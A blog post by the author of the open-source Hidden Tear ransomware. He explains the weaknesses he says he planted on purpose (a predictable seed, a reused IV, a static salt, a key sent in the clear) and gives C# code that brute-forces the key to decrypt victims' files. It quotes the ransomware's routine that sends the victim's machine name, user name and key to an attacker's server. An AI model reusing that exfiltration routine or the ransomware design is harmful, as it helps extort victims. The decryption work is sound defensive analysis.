Destroying The Encryption of Hidden Tear Ransomware

19 November 2015

As you all know, I published the world's first open source ransomware 3 months ago. Unfortunately, tons of people have criticized me on reddit and github. Now, I want to explain the idea behind all of these open source ransomware stuff.

The Motivation

While I was researching about ransomwares, all I can see that lots of fancy diagrams, assembly codes which are tries to explain how it works. It may be easy to understand who are familiar with assembly. But most of people not, especially the newbies. And there wasn't any proper source code for a ransomware sample. My first motivation was provide a source code for newbies, students who are trying to understand the process.

My second motivation was... building a honeypot for script kiddies.

Open Source Ransomware as a Script Kiddie Trap

Most of people blamed me for providing a weapon for script kiddies.

Screenshot_5

Screenshot_6

But I know that script kiddies already have their ransomware arsenal in deep web. Tox service may be shutted down but there are still lots of ransomware-as-a-service website around there. I investigated them. They didn't have any critical flaw. They were good like the other well designed ransomwares.

But there is a catch. Users need to share their 20% of profit with ransomware service provider. My thought was "What if they have a free source code to use, do they still use ransomware services? I don't think so"

I decided to write a code which has huge security flaws so we can reverse the damage if anyone affected with it. Some people mentioned that.

Screenshot_4
 

Main Security Flaws in Hidden Tear

Experienced people noticed the flaws at the first sight. But I couldn't say that it was on purpose. Now I can talk about it.

Seed of Random Algorithm

The most important security flaw is in creating random encryption key process. I used .Net's Random Class to generate random strings. Random Class uses Environment.TickCount (gets the number of milliseconds elapsed since the system started) as seed. Which is reduces the surface of brute forcing and beyond that it's easy to predict.

random_number

Reuse of the IV

Algorithm uses the same IV  for every file in encryption process.

Static Salt

It uses static salt for encryption.

 byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

Sending the Key

The key is sending to the server with a GET request unencrypted.

//Sends created password target location
public void SendPassword(string password){
    
    string info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
}
        

If the network is listening at that time, the key can be find easily by checking the logs.

Linux Ransomware Incident

Did you hear that Linux Ransomware has beaten with same flaws by Bitdefender? The developer seems to be inspired from Hidden Tear which is noticed by reddit users.

Screenshot_7

 

Well, I have to admit that I was expecting more. Only one person used my code and busted. But it's something. At least we get rid of a massive attack.

Destroying The Encryption of Hidden Tear

All we need to do is finding the seed. We can get it from timestamp of an encrypted file with File.GetLastWriteTime Method. Then we convert it to Environment.TickCount to get exact integer.

But there is a problem. There is a small time gap between file last write timestamp and start time of key generation. The gap is between 0-50 milisenconds which we can easily deal with it.

Here is my first PoC to predict the key by getting the seed. Note that the "Ft*mo?S20ewcxZw" string is generated by Hidden Tear and bank.txt file encrypted with it.

static void Main(string[] args)
{
    string path = @"C:\Users\utku\Desktop\test\bank.txt.locked";
    var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount);
    int ms = (int)timestamp.TotalMilliseconds;
    int count = 0;
    string password = "";
    int diff = 0;

    while (password != "Ft*mo?S20ewcxZw"){
        password = CreatePassword(15, ms - diff);
        Console.WriteLine("Trying: " + password + " " + "Count: " + count);
        count++;
        diff++;
    }
    Console.WriteLine("Found: " + password + " " + count);
    Console.ReadLine();

}

public static string CreatePassword(int length,int seed)
{
    const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
    StringBuilder res = new StringBuilder();
    Random rnd = new Random(seed);
    while (0 < length--)
    {
        res.Append(valid[rnd.Next(valid.Length)]);
    }
    return res.ToString();
}

        

And the result is

Screenshot_3

 

Time gap was almost 32 milisecond.

Ok let's get to a real scenario. To decrypt an encrypted file, we need to have at least one plaintext version of encrypted files. Assume that we have a file named bank.txt which has "Yet another important file" string inside as plaintext. I encrypted it with Hidden Tear.

Screenshot_1

 

We need to decrypt it with predicted key, and check the decrypted version. If it equals to our known plaintext, we got the key. Otherwise, we continue trying. Here is the PoC

static void Main(string[] args)
        {
    string path = @"C:\Users\utku\Desktop\test\bank.txt.locked";
    string data = "Yet another important file";
    string draftdata = " ";
    var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount);
    int ms = (int)timestamp.TotalMilliseconds;
    int count = 0;
    string password = "";
    int diff = 0;
    while (data != draftdata)
    {
        password = CreatePassword(15, ms - diff);
        Console.WriteLine("Trying: " + password + " " + "Count: " + count);
        byte[] bytesToBeDecrypted = File.ReadAllBytes(path);
        byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
        passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
        byte[] bytesDecrypted = AES_Decrypt(bytesToBeDecrypted, passwordBytes);
        draftdata = System.Text.Encoding.UTF8.GetString(bytesDecrypted);
        diff++;

    }

    Console.WriteLine("Found: " + password + " " + count);
    Console.ReadLine();

        }
        

You can get the required functions from hidden tear decrypter

Conclusion

I know that it wasn't so successful honeypot project but I'm happy for reducing the damage of Linux Ransomware. I will also be happy if the newbies learn something from all of these stuff.

You can ask me any questions via Twitter or E-mail